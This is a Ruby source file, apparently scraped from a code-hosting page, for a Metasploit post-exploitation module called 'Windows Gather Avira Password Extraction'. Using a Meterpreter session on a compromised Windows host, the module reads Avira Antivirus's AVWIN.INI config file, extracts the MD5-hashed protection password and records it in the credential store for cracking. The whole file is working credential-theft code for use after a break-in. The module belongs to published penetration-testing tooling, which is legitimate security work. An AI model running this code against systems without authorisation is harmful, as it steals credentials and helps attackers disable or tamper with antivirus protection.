adfoster-r7
78 lines
2.2 KiB
Ruby
78 lines
2.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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include Msf::Post::Windows::Registry
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Windows Gather Avira Password Extraction',
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'Description' => %q{
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This module extracts the weakly hashed password
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which is used to protect a Avira Antivirus (<= 15.0.17.273) installation.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Robert Kugler / robertchrk'],
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ],
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'Compat' => {
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'Meterpreter' => {
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'Commands' => %w[
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core_channel_eof
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core_channel_open
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core_channel_read
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core_channel_write
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stdapi_fs_stat
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]
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}
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}
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)
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)
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end
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def run
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print_status('Checking default location...')
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check_programdata('C:\\ProgramData\\Avira\\Antivirus\\CONFIG\\AVWIN.INI')
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end
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def check_programdata(path)
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client.fs.file.stat(path)
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print_status("Found file at #{path}")
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get_ini(path)
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rescue StandardError
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print_error("Error reading or processing #{path}.")
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end
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def get_ini(filename)
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config = client.fs.file.new(filename, 'r')
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parse = Rex::Text.to_ascii(config.read)
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ini = Rex::Parser::Ini.from_s(parse)
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if ini == {}
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print_error('Unable to parse file')
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return
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end
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print_status('Processing configuration file...')
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passwd = ini['COMMON']['Password']
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passwd = passwd.delete '"'
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create_credential({
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workspace_id: myworkspace_id,
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origin_type: :session,
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session_id: session_db_id,
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post_reference_name: refname,
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private_type: :nonreplayable_hash,
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jtr_format: 'Raw-MD5u', # hard coded since hash identifier wont know its unicode
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private_data: passwd,
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service_name: 'Avira Antivirus',
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status: Metasploit::Model::Login::Status::UNTRIED
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})
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print_good("MD5(Unicode) hash found: #{passwd}")
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print_good('Info: Password length is limited to 20 characters.')
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end
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end
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